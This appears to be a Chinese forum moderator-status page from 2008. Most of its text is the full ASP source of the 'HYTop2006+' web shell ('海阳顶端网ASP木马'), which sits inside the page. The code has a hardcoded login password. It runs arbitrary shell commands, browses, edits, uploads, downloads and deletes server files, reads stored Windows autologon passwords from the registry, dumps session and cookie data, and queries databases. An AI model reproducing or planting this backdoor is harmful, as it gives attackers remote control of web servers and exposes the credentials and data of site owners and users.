今天是:2008年5月16日 星期五 | 您现在位于:网站首页在线论坛 → 版主评定
版主评定
斑竹姓名 最后登陆时间 帖子数 失踪天数 担任版块 评定结果
请以上斑竹注意,超过一个月未登陆将被取消斑竹资格。望大家支持!
<% Option Explicit Response.Buffer = True Dim i, url, conn, sUrlB, theAct, thePath, rootPath, PageSize, aspPath, bOtherUser, sSqlSelect, sImage Dim sUrl, accessStr, PageName, sysFileList, isSqlServer, sPacketName, oFso, oShl, oWshl, sFooter, sHeader, sClientTracer bOtherUser = False ''是否需要其它NT用户身份登录 If bOtherUser = True And Trim(Request.ServerVariables("AUTH_USER")) = "" Then Response.Status = "401 Unauthorized" Response.Addheader "WWW-AuThenticate", "BASIC" If Request.ServerVariables("AUTH_USER") = "" Then Response.End() End If theAct = GetPost("theAct") PageSize = 20 ''默认每页记录数 isSqlServer = False rootPath = Server.MapPath("/") PageName = GetPost("PageName") url = Request.ServerVariables("URL") ''当前页的相对路径 sPacketName = "Packet.mdb" ''文件包默认文件名 thePath = Replace(GetPost("thePath"), "\\", "\") aspPath = Replace(Server.MapPath(".") & "\~386.tmp", "\\", "\") ''系统临时文件 sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$" sClientTracer = "" ''http://hididi.net/ASPAdmin/ASPAdmin_L.asp?theUrl=http://www.163.com&productName=HYTop2006Plus accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";" sFooter = " Powered By Marcos 2006.02 " sHeader = "" sSqlSelect = "
" Const s = "lcx" ''登录标志 Const m = "HYTop2006+" ''Session标志 Const isDebugMode = False 'False,True''是否调试模式 Const userPassword = "02200200251001" ''登录密码 Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表 Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$" Sub Echo(sStr) Response.Write sStr End Sub Sub IsIn() If Session(m & "userPassword") <> userPassword Then Echo "" Response.End() End If End Sub Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End Function Function StrEncode(str) str = HtmlEncode(str) str = Replace(str, " ", " ") str = Replace(str, " ", "    ") str = Replace(str, vbNewLine, "
") StrEncode = str End Function Sub CreateObj(oFso, oShl, oWshl) On Error Resume Next Set oWshl = Server.CreateObject("WScript.Shell") Set oShl = Server.CreateObject("Shell.Application") Set oFso = Server.CreateObject("Scripting.FileSystemObject") If IsEmpty(oShl) Then Set oShl = sa If IsEmpty(oFso) Then Set oFso = fso If IsEmpty(oWshl) Then Set oWshl = ws If Err Then Err.Clear End Sub Function StreamLoadFromFile(sPath) Dim oStream If isDebugMode = False Then On Error Resume Next Set oStream = Server.CreateObject("Adodb.Stream") With oStream .Type = 2 .Mode = 3 .Open .LoadFromFile sPath If Request("PageName") <> "TxtSearcher" Then ChkErr(Err) .Charset = "gb2312" .Position = 2 StreamLoadFromFile = .ReadText() .Close End With Set oStream = Nothing End Function Sub JavaScript(sStr) Response.Write(vbNewLine & "" & vbNewLine) End Sub Function GetPost(var) Dim val If Request.QueryString("PageName") = "PageUpload" Then PageName = "PageUpload" Exit Function End If val = RTrim(Request.Form(var)) If val = "" Then val = RTrim(Request.QueryString(var)) GetPost = val End Function Function HtmlEncode(str) If IsNull(str) Then Exit Function HtmlEncode = Server.HTMLEncode(str) End Function Function UrlEncode(str) If IsNull(str) Then Exit Function UrlEncode = Server.URLEncode(str) End Function Sub ShowTitle(str) Response.Write "" & str & " - 海阳顶端网ASP木马@2006PLUS - By Marcos" Response.Write "" End Sub Function GetTheSize(n) Dim i, aSize(4) aSize(0) = "B" aSize(1) = "KB" aSize(2) = "MB" aSize(3) = "GB" aSize(4) = "TB" While(n / 1024 >= 1) n = n / 1024 i = i + 1 WEnd GetTheSize = Fix(n * 100) / 100 & " " & aSize(i) End Function Sub ShowErr(str) Dim i, aStr str = HtmlEncode(str) aStr = Split(str, "$$") Echo "" Echo "出错信息:

" For i = 0 To UBound(aStr) Echo "  " & (i + 1) & ". " & aStr(i) & "
" Next Echo "
" Response.End() End Sub Sub CreateFolder(sPath) Dim i i = InStr(Mid(sPath, 4), "\") + 3 Do While i > 0 If oFso.FolderExists(Left(sPath, i)) = False Then oFso.CreateFolder(Left(sPath, i - 1)) If InStr(Mid(sPath, i + 1), "\") Then i = i + InStr(Mid(sPath, i + 1), "\") Else i = 0 Loop End Sub Sub AlertThenClose(str) If str = "" Then Response.Write "" Else Response.Write "" End If End Sub Sub ChkErr(Err) If Err Then Echo "
  • 错误: " & Err.Description & "
  • 错误源: " & Err.Source & "

  • " Echo "
     By Marcos 2006.02
    " Err.Clear Response.End End If End Sub Sub TopMenu() Echo "" Echo "" Echo "" Echo "" End Sub Rem ++++++++++++++++++++++++++++++++++++ Rem 以下是页面选择部分 Rem ++++++++++++++++++++++++++++++++++++ Call CreateObj(oFso, oShl, oWshl) Response.Clear PageOther() If PageName <> "" And PageName <> s Then IsIn() TopMenu() End If If PageName = "" And s <> "" Then sUrl = "http://" & Request.ServerVariables("SERVER_NAME") & "/NoExists.html" PageWebProxy() End If Select Case PageName Case "PageSearch" PageSearch() Case "PageServiceList" PageServiceList() Case "PageUserList" PageUserList() Case "PageCheck" PageCheck() Case "PageFso" PageFso() Case "PageApp" PageApp() Case "PageDBTool" PageDBTool() Case "PageUpload" PageUpload() Case "PageWsCmdRun" PageWsCmdRun() Case "PageSaCmdRun" PageSaCmdRun() Case "PagePack" PagePack() Case "PageExecute" PageExecute() Case "PageCSInfo" PageCSInfo() Case "PageOtherTools" PageOtherTools() Case "PageWebProxy" PageWebProxy() Case s, "PageOut" PageLogin() End Select Set oFso = Nothing Set oShl = Nothing Set oWshl = Nothing Rem +++++++++++++++++++++++++++++++++++++ Rem 以下是各功能模块部分 Rem +++++++++++++++++++++++++++++++++++++ Sub PageWsCmdRun() Dim cmdStr, cmdPath, cmdResult cmdStr = Request("cmdStr") cmdPath = Request("cmdPath") ShowTitle("WScript.Shell命令行操作") If cmdPath = "" Then cmdPath = "cmd.exe" End If If theAct = "PackIt" And cmdStr <> "" Then Server.ScriptTimeOut = 999999 cmdStr = "c:\progra~1\WinRAR\Rar.exe a """ & cmdStr & "\Packet.rar"" """ & cmdStr & """" cmdStr = Replace(cmdStr, "\\", "\") End If If cmdStr <> "" Then If InStr(LCase(cmdPath), "cmd.exe") > 0 Then cmdResult = DoWsCmdRun(cmdPath & " /c " & cmdStr) Else If LCase(cmdPath) = "wscriptshell" Then cmdResult = DoWsCmdRun(cmdStr) Else cmdResult = DoWsCmdRun(cmdPath & " " & cmdStr) End If End If End If Echo "" Echo "" Echo "" Echo Replace(sHeader, "{$s}", "WScript.Shell命令行操作") Echo "" Echo "" Echo "" Echo "" Echo sFooter Echo "" Echo "" End Sub Function DoWsCmdRun(cmdStr) If isDebugMode = False Then On Error Resume Next Dim oFile doWsCmdRun = oWshl.Exec(cmdStr).StdOut.ReadAll() If Err Then Echo Err.Description & "
    " Err.Clear oWshl.Run cmdStr & " > " & aspPath, 0, True Set oFile = oFso.OpenTextFile(aspPath) DoWsCmdRun = oFile.RealAll() If Err Then Echo Err.Description & "
    " Err.Clear DoWsCmdRun = StreamLoadFromFile(aspPath) End If End If End Function Sub PageSaCmdRun() If isDebugMode = False Then On Error Resume Next Dim theFile, appPath, appName, appArgs ShowTitle("Shell.Application 命令行操作") appPath = Trim(Request("appPath")) appName = Trim(Request("appName")) appArgs = Trim(Request("appArgs")) If theAct = "doAct" Then If appName = "" Then appName = "cmd.exe" If appPath <> "" And Right(appPath, 1) <> "\" Then appPath = appPath & "\" End If If LCase(appName) = "cmd.exe" And appArgs <> "" Then If LCase(Left(appArgs, 2)) <> "/c" Then appArgs = "/c " & appArgs End If Else If LCase(appName) = "cmd.exe" And appArgs = "" Then appArgs = "/c " End If End If oShl.ShellExecute appName, appArgs, appPath, "", 0 ' Response.Write("oShl.ShellExecute " & appName & ", " & appArgs & ", " & appPath & ", """", 0") chkErr(Err) End If If theAct = "readResult" Then Err.Clear Response.Clear Response.Write("" & vbNewLine) Echo StrEncode(streamLoadFromFile(aspPath)) If Err Then Err.Clear Set theFile = fsoX.OpenTextFile(aspPath) Echo StrEncode(theFile.ReadAll()) Set theFile = Nothing End If Response.End() End If Echo "" Echo "" Echo "" Echo "" Echo "" Echo Replace(sHeader, "{$s}", "Shell.Application 命令行操作") Echo "" Echo "" Echo "" Echo "" Echo "" Echo sFooter Echo "" Echo "" End Sub Sub PageSearch() Dim strKey, strPath strKey = GetPost("Key") Server.ScriptTimeout = 5000 If thePath = "" Then thePath = rootPath ShowTitle("文本文件搜索器") SearchTable(strKey) If theAct <> "" And strKey <> "" Then SearchIt(strKey) End If End Sub Sub SearchTable(strKey) Echo "" Echo "" Echo Replace(sHeader, "{$s}", "文本文件搜索器(需FSO支持)") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo sFooter Echo "" End Sub Sub SearchIt(key) Dim strPath, theFolder Response.Buffer = True strPath = thePath If oFso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = oFso.GetFolder(strPath) Echo "
    " Select Case theAct Case "Both" Call SearchFolder(theFolder, key, 1) Case "FileName" Call SearchFolder(theFolder, key, 2) Case "FileContent" Call SearchFolder(theFolder, key, 3) End Select Echo "
    " Set theFolder = Nothing End Sub Sub SearchFolder(folder, key, flag) Dim ext, title, theFile, theFolder If isDebugMode = False Then On Error Resume Next For Each theFile In folder.Files ext = LCase(oFso.GetExtensionName(theFile.Path)) If flag = 1 Or flag = 2 Then If InStr(LCase(theFile.Name), LCase(key)) > 0 Then Echo FileLink(theFile, "") End If If flag = 1 Or flag = 3 Then If InStr(editableFileExt, "$" & ext & "$") > 0 Then If SearchFile(theFile, key, title) Then Echo FileLink(theFile, title) End If End If Next Response.Flush() For Each theFolder In folder.SubFolders Call SearchFolder(theFolder, key, flag) Next End Sub Function SearchFile(fx, s, title) Dim theFile, content, pos1, pos2 If isDebugMode = False Then On Error Resume Next Set theFile = oFso.OpenTextFile(fx.Path) content = theFile.ReadAll() theFile.Close Set theFile = Nothing If Err Then Err.Clear SearchFile = InStr(1, content, s, 1) If SearchFile > 0 Then pos1 = InStr(1, content, "", 1) pos2 = InStr(1, content, "", 1) title = "" If pos1 > 0 And pos2 > 0 Then title = Mid(content, pos1 + 7, pos2 - pos1 - 7) End If End If End Function Function FileLink(file, title) fileLink = file.Path If title = "" Then title = file.Name End If fileLink = " " & title & " " & fileLink & "
    " End Function Sub PageCheck() ShowTitle("服务器信息探针") Response.Flush() InfoCheck() Response.Flush() ObjCheck() Response.Flush() GetSrvDrvInfo() Response.Flush() End Sub Sub InfoCheck() Dim aCheck(7), sExEnvList, aExEnvList If isDebugMode = False Then On Error Resume Next sExEnvList = "ClusterLog$SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _ "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION" aExEnvList = Split(sExEnvList, "$") aCheck(0) = Server.ScriptTimeOut() & "(秒)" aCheck(1) = FormatDateTime(Now(), 0) aCheck(2) = Request.ServerVariables("SERVER_NAME") aCheck(2) = aCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR") aCheck(2) = aCheck(2) & ":" & Request.ServerVariables("SERVER_PORT") aCheck(3) = Request.ServerVariables("OS") aCheck(3) = IIf(aCheck(3) = "", "Windows2003", aCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE") aCheck(3) = aCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion aCheck(4) = rootPath aCheck(4) = aCheck(4) & ", " & GetTheSize(oFso.GetFolder(rootPath).Size) aCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "
    " aCheck(5) = aCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url") aCheck(6) = "变量数: " & Application.Contents.Count() & "," aCheck(6) = aCheck(6) & " 会话数: " & Session.Contents.Count & "," aCheck(6) = aCheck(6) & " 当前会话ID: " & Session.SessionId() & "
    " aCheck(6) = aCheck(6) & " 服务器内存: " & GetTheSize(oShl.GetSystemInformation("PhysicalMemoryInstalled")) & "," aCheck(6) = aCheck(6) & " 计" & oWshl.Environment("SYSTEM")("NUMBER_OF_PROCESSORS") & "个CPU(" & oWshl.Environment("SYSTEM")("PROCESSOR_IDENTIFIER") & ")" Echo Replace(sHeader, "{$s}", "服务器基本信息") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo sFooter End Sub Sub GetSrvDrvInfo() If isDebugMode = False Then On Error Resume Next Dim oTheDrive Echo "
    " Echo Replace(Replace(sHeader, "{$s}", "服务器磁盘信息"), "=2", "=6") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" For Each oTheDrive In oFso.Drives Echo "" If Err Then Err.Clear Next Echo Replace(sFooter, "=2", "=6") Set oTheDrive = Nothing End Sub Function GetDriveType(n) Select Case n Case 0 GetDriveType = "未知" Case 1 GetDriveType = "可移动磁盘" Case 2 GetDriveType = "本地硬盘" Case 3 GetDriveType = "网络磁盘" Case 4 GetDriveType = "CD-ROM" Case 5 GetDriveType = "RAM 磁盘" End Select End Function Sub GetTerminalInfo() If isDebugMode = False Then On Error Resume Next Dim terminalPortPath, terminalPortKey, termPort Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" terminalPortKey = "PortNumber" termPort = oWshl.RegRead(terminalPortPath & terminalPortKey) If termPort = "" Or Err.Number <> 0 Then Echo " 无法得到终端服务端口, 请检查权限是否已经受到限制.
    " Else Echo " 当前终端服务端口: " & termPort & "
    " End If autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" autoLoginEnableKey = "AutoAdminLogon" autoLoginUserKey = "DefaultUserName" autoLoginPassKey = "DefaultPassword" isAutoLoginEnable = oWshl.RegRead(autoLoginPath & autoLoginEnableKey) If isAutoLoginEnable = 0 Then Echo " 系统自动登录功能未开启" Else autoLoginUsername = oWshl.RegRead(autoLoginPath & autoLoginUserKey) Echo " 自动登录的系统帐户: " & autoLoginUsername & "
    " autoLoginPassword = oWshl.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear Echo "False" End If Echo " 自动登录的帐户密码: " & autoLoginPassword & "
    " End If End Sub Sub ObjCheck() Dim aObj(19) Dim x, objTmp, theObj, strObj If isDebugMode = False Then On Error Resume Next strObj = Trim(getPost("TheObj")) aObj(0) = "MSWC.AdRotator|广告轮换组件" aObj(1) = "MSWC.BrowserType|浏览器信息组件" aObj(2) = "MSWC.NextLink|内容链接库组件" aObj(3) = "MSWC.Tools|" aObj(4) = "MSWC.Status|" aObj(5) = "MSWC.Counters|计数器组件" aObj(6) = "MSWC.PermissionChecker|权限检测组件" aObj(7) = "Adodb.Connection|ADO 数据对象组件" aObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件" aObj(9) = "Scripting.FileSystemObject|FSO组件" aObj(10) = "Adodb.Stream|Stream 流组件" aObj(11) = "Shell.Application|" aObj(12) = "WScript.Shell|" aObj(13) = "Wscript.Network|" aObj(14) = "ADOX.Catalog|" aObj(15) = "JMail.SmtpMail|JMail 邮件收发组件" aObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件" aObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件" aObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件" aObj(19) = strObj & "|您所要检测的组件" Echo "
    " Echo Replace(Replace(sHeader, "{$s}", "服务器组件信息"), "=2", "=3") Echo "" Echo "" Echo "" Echo "" Echo "" For Each x In aObj theObj = Split(x, "|") If theObj(0) = "" Then Exit For Set objTmp = Server.CreateObject(theObj(0)) If Err <> -2147221005 Then x = x & "|√" & IIf(Err = -2147221005, "(权限不足)", "") & "|" x = x & objTmp.Version Else x = x & "|×|" End If If Err Then Err.Clear Set objTmp = Nothing theObj = Split(x, "|") theObj(1) = theObj(0) & IIf(theObj(1) <> "", " (" & theObj(1) & ")", "") Echo "" Echo "" Echo "" Echo "" Echo "" Next Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo Replace(sFooter, "=2", "=3") End Sub Sub PageCSInfo() If isDebugMode = False Then On Error Resume Next Dim sKey, sVar, sVariable ShowTitle("客户端服务器交互信息") Echo Replace(sHeader, "{$s}", "Application 变量查看") For Each sVariable In Application.Contents Echo "" Next Echo sFooter Echo "
    " & Replace(sHeader, "{$s}", "Session 变量查看") For Each sVariable In Session.Contents Echo "" Next Echo sFooter Echo "
    " & Replace(sHeader, "{$s}", "Cookies 变量查看") For Each sVariable In Request.Cookies If Request.Cookies(sVariable).HasKeys Then For Each sKey In Request.Cookies(sVariable) Echo "" Next Else Echo "" End If Next Echo sFooter Echo "
    " & Replace(sHeader, "{$s}", "ServerVariables 变量查看") For Each sVariable In Request.ServerVariables Echo "" Echo "" Echo "" Echo "" Echo sFooter Echo "" Set theFolder = Nothing End Sub Sub RenOne() Dim objX, strPath, aryParam, isFile, isFolder If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") strPath = GetPost("truePath") & "\" aryParam(0) = strPath & aryParam(0) isFile = oFso.FileExists(aryParam(0)) isFolder = oFso.FolderExists(aryParam(0)) If isFile = False And isFolder = False Then ShowErr("文件(夹)不存在或者不允许访问!") End If If isFile = False Then Set objX = oFso.GetFolder(aryParam(0)) objX.Name = aryParam(1) Else Set objX = oFso.GetFile(aryParam(0)) objX.Name = aryParam(1) End If Set objX = Nothing ChkErr(Err) End Sub Sub DownTheFile() Response.Clear Dim oStream, strPath If isDebugMode = False Then On Error Resume Next strPath = GetPost("truePath") & "\" & GetPost("param") Set oStream = Server.CreateObject("adodb.stream") oStream.Open oStream.Type = 1 oStream.LoadFromFile(strPath) ChkErr(Err) Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param") Response.AddHeader "Content-Length", oStream.Size Response.Charset = "UTF-8" Response.ContentType = "Application/Octet-Stream" Response.BinaryWrite oStream.Read Response.Flush oStream.Close Set oStream = Nothing End Sub Sub DelOne() Dim objX, strPath If isDebugMode = False Then On Error Resume Next strPath = GetPost("truePath") & "\" For Each objX In Request.Form("checkBox") If oFso.FolderExists(strPath & objX) = True Then Call oFso.DeleteFolder(strPath & objX, True) ChkErr(Err) Else If oFso.FileExists(strPath & objX) = True Then Call oFso.DeleteFile(strPath & objX, True) ChkErr(Err) End If End If Next End Sub Sub MoveCopyOne() Dim objX, strPath, strMoveTo, strCopyTo If isDebugMode = False Then On Error Resume Next strMoveTo = GetPost("MoveTo") strCopyTo = GetPost("CopyTo") strPath = GetPost("truePath") & "\" If theAct = "move" Then strMoveTo = strMoveTo & "\" Else strCopyTo = strCopyTo & "\" End If For Each objX In Request.Form("checkBox") If theAct = "move" Then If InStr(strMoveTo, strPath & objX) > 0 Then ShowErr("目标文件夹不能在源文件夹内") End If If oFso.FileExists(strPath & objX) = True Then Call oFso.MoveFile(strPath & objX, strMoveTo & objX) Else Call oFso.MoveFolder(strPath & objX, strMoveTo & objX) End If Else If InStr(strCopyTo, strPath & objX) > 0 Then ShowErr("目标文件夹不能在源文件夹内") End If If oFso.FileExists(strPath & objX) = True Then Call oFso.CopyFile(strPath & objX, strCopyTo & objX) Else Call oFso.CopyFolder(strPath & objX, strCopyTo & objX) End If End If ChkErr(Err) Next End Sub Sub NewOne() Dim objX, strPath, aryParam If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") strPath = GetPost("truePath") & "\" & aryParam(0) If aryParam(1) = "file" Then Call oFso.CreateTextFile(strPath, False) Else oFso.CreateFolder(strPath) End If End Sub Sub ShowEdit() Dim theFile, strPath If isDebugMode = False Then On Error Resume Next strPath = GetPost("truePath") & "\" & GetPost("param") If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1) Set theFile = oFso.OpenTextFile(strPath, 1, False) ChkErr(Err) Echo "" Echo Replace(Replace(sHeader, "{$s}", "FSO文本编辑器"), "=2", "=1") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
    8 {$s}
     
     路径: " Echo "
     命令/参数: " Echo "
     注:请只在这里执行单步程序(程序执行开始到结束不需要人工干预),不然本程序会无法正常工作,并且在服务器生成一个不可结束的进程.
     
     所在路径:
     程序文件: " Echo "
     命令参数: " Echo "
     注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.
    " Echo " 由于命令执行时间同网页刷新时间不同步,所以有些执行时间长的程序结果需要手动刷新下面的iframe才能得到.回显后记得删除临时文件.
     
     路径 " Echo "
     关键字  " Echo "" Echo "
     项目 值
     默认超时 " & aCheck(0) & "
     当前时间 " & aCheck(1) & "
     服务器名 " & aCheck(2) & "
     软件环境 " & aCheck(3) & "
     站点目录 " & aCheck(4) & "
     当前路径 " & aCheck(5) & "
     终端服务端口
     及自动登录信息
    " GetTerminalInfo() Echo "
     其它 " & aCheck(6) & "
     环境变量" For i = 0 To UBound(aExEnvList) Echo aExEnvList(i) & ": " & oWshl.ExpandEnvironmentStrings("%" & aExEnvList(i) & "%") & "
    " Next Echo "
    盘符类型卷标文件系统可用空间总空间
    " Echo oTheDrive.DriveLetter Echo "" Echo GetDriveType(oTheDrive.DriveType) Echo "" Echo oTheDrive.VolumeName Echo "" Echo oTheDrive.FileSystem Echo "" Echo GetTheSize(oTheDrive.FreeSpace) Echo "" Echo GetTheSize(oTheDrive.TotalSize) Echo "
     组件(描述)支持版本
     " & theObj(1) & "" & theObj(2) & "" & theObj(3) & "
     其它组件检测:" Echo "" Echo "
    " Echo " " & sVariable & "" Echo "" If IsArray(Application(sVariable)) = True Then For Each sVar In Application(sVariable) Echo "
    " & StrEncode(sVar) & "
    " Next Else Echo StrEncode(Application(sVariable)) End If Echo "
    " Echo " " & sVariable & "" Echo "" Echo StrEncode(Session(sVariable)) Echo "
    " Echo " " & sVariable & "(" & sKey & ")" Echo "" Echo StrEncode(Request.Cookies(sVariable)(sKey)) Echo "
     " & sVariable & "" & StrEncode(Request.Cookies(sVariable)) & "
     " & sVariable & ":" & StrEncode(Request.ServerVariables(sVariable)) & "" Next Echo sFooter End Sub Sub PageFso() ShowTitle("FSO文件浏览操作器") Select Case theAct Case "rename" RenOne() Case "download" DownTheFile() Response.End() Case "del" DelOne() Case "newone" NewOne() Case "saveas" SaveAs() Case "save" SaveToFile() ShowEdit() Response.End() Case "showedit" ShowEdit() Response.End() Case "showimage" ShowImage() Response.End() Case "copy", "move" MoveCopyOne() End Select If theAct <> "" Then thePath = GetPost("truePath") FsoFileExplorer() End Sub Sub FsoFileExplorer() Dim objX, theFolder, folderId, extName, parentFolderName Dim strPath If isDebugMode = False Then On Error Resume Next If thePath = "" Then thePath = rootPath strPath = thePath If oFso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If Set theFolder = oFso.GetFolder(strPath) parentFolderName = oFso.GetParentFolderName(strPath) & "\" Echo "
    " Echo Replace(sHeader, "{$s}", "FSO文件浏览操作器") Echo "
     " Echo "路径: " Echo "" Echo " " Echo " " Echo "
     
    " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" For Each objX In theFolder.SubFolders folderId = Replace(objX.Path, "\", "\\") Echo "" Echo "" Echo "" Next For Each objX In theFolder.Files If Left(objX.Path, Len(rootPath)) <> rootPath Then folderId = "" Else folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20") End If Echo "" Echo "" Next Echo "" Echo "
     
    " If parentFolderName <> "\" Then folderId = Replace(parentFolderName, "\", "\\") Echo " ↑回上级目录" End If Echo "大小最后修改操作
     " Echo "" Echo ""& objX.Name & "" Echo "-" & objX.DateLastModified & "" Echo "" Echo "" Echo "" Echo "
     " Echo "" If folderId = "" Then Echo objX.Name Else Echo "" & objX.Name & "" End If Echo "" & GetTheSize(objX.Size) & "" & objX.DateLastModified & "" Echo "" extName = LCase(oFso.GetExtensionName(objX.Path)) If InStr(editableFileExt, "$" & extName & "$") > 0 Then Echo "" End If If InStr(imageFileExt, "$" & extName & "$") > 0 Then Echo "" End If If extName = "mdb" Then Echo "" End If Echo "" Echo "" Echo "" Echo "
    " Echo "" Echo "" Echo "
    " Echo "
    " Echo "
    " Echo "
    " Echo "
    " Echo "移动选中文件(夹)到


    " Echo "复制选中文件(夹)到


    " Echo "
     " Echo "
     
     
    " Echo "" Echo "
    " Set theFile = Nothing End Sub Sub SaveToFile() Dim theFile, strPath, fileContent If isDebugMode = False Then On Error Resume Next fileContent = GetPost("fileContent") strPath = GetPost("truePath") Set theFile = oFso.OpenTextFile(strPath, 2, True) theFile.Write fileContent theFile.Close ChkErr(Err) Set theFile = Nothing End Sub Sub SaveAs() Dim strPath, aryParam, isFile If isDebugMode = False Then On Error Resume Next aryParam = Split(GetPost("param"), ",") aryParam(0) = aryParam(0) aryParam(1) = aryParam(1) isFile = oFso.FileExists(aryParam(0)) If isFile = True Then oFso.CopyFile aryParam(0), aryParam(1), False Else oFso.CopyFolder aryParam(0), aryParam(1), False End If ChkErr(Err) End Sub Sub ShowImage() Dim stream, strPath, fileContentType If isDebugMode = False Then On Error Resume Next strPath = GetPost("truePath") & "\" & GetPost("param") Set stream = Server.CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.LoadFromFile(strPath) ChkErr(Err) Response.Clear Response.BinaryWrite stream.Read stream.Close Set stream = Nothing End Sub Sub PageDBTool() ShowTitle("Access + SQL Server 数据库操作") Echo "
    " If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then SqlShowEdit() Echo "
    " Response.End() End If ShowDBTool() Select Case theAct Case "Query" ShowQuery() Case "ShowTables" ShowTables() End Select Echo "" End Sub Sub ShowDBTool() Echo "" Echo "" Echo "" Echo Replace(sHeader, "{$s}", "Access + SQL Server 数据库操作") Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" End Sub Sub ShowTables() Dim Cat, objTable, objColumn, intColSpan, objSchema If isDebugMode = False Then On Error Resume Next Echo sSqlSelect & "" Echo " " Echo "" Echo "" Echo "
    " Echo Replace(sHeader, "{$s}", "数据表及结构查看") CreateConn() Set Cat = Server.CreateObject("ADOX.Catalog") Cat.ActiveConnection = conn.ConnectionString Echo "" For Each objTable In Cat.Tables Echo "" & objTable.Name & "" Next Echo "" intColSpan = IIf(isSqlServer = True, "4", "6") For Each objTable In Cat.Tables Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" If isSqlServer = False Then Echo "" Echo "" End If Echo "" For Each objColumn In Cat.Tables(objTable.Name).Columns Echo "" Echo "" Echo "" If objColumn.DefinedSize <> 0 Then Echo "" Else Echo "" End If Echo "" If isSqlServer = False Then Echo "" Echo "" End If Echo "" Next Echo "" Echo "" Echo "" Echo "
     
     " Echo objTable.Name & "
     列名类型大小可否为空默认值描述
    " & objColumn.Name & "" & GetDataType(objColumn.Type) & "" & objColumn.DefinedSize & "" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "" & IIf(objColumn.Attributes = 1, "False", "True") & "" Echo HtmlEncode(objColumn.Properties("Default").value) & "" Echo objColumn.Properties("Description") & "
     

    " Next Echo "" Echo "" Echo sFooter Set Cat = Nothing DestoryConn() End Sub Sub ShowQuery() Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey, sExec If isDebugMode = False Then On Error Resume Next sql = GetPost("sql") strParam = GetPost("param") strTable = GetPost("theTable") Set rs = Server.CreateObject("Adodb.RecordSet") If IsNumeric(strParam) = True Then intPage = strParam Else intPage = 1 strTable = strParam sql = "" End If If sql = "" Then sql = "Select * From [" & strTable & "]" End If For i = 1 To Request.Form("KeyWord").Count If Request.Form("KeyWord")(i) <> "" Then sqlC = Replace(Request.Form("KeyWord")(i), "'", "''") sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC) sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i) End If Next If sqlB <> "" Then sql = "Select * From [" & strTable & "] Where " & sqlB If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4) If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5) End If Echo sSqlSelect & "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "
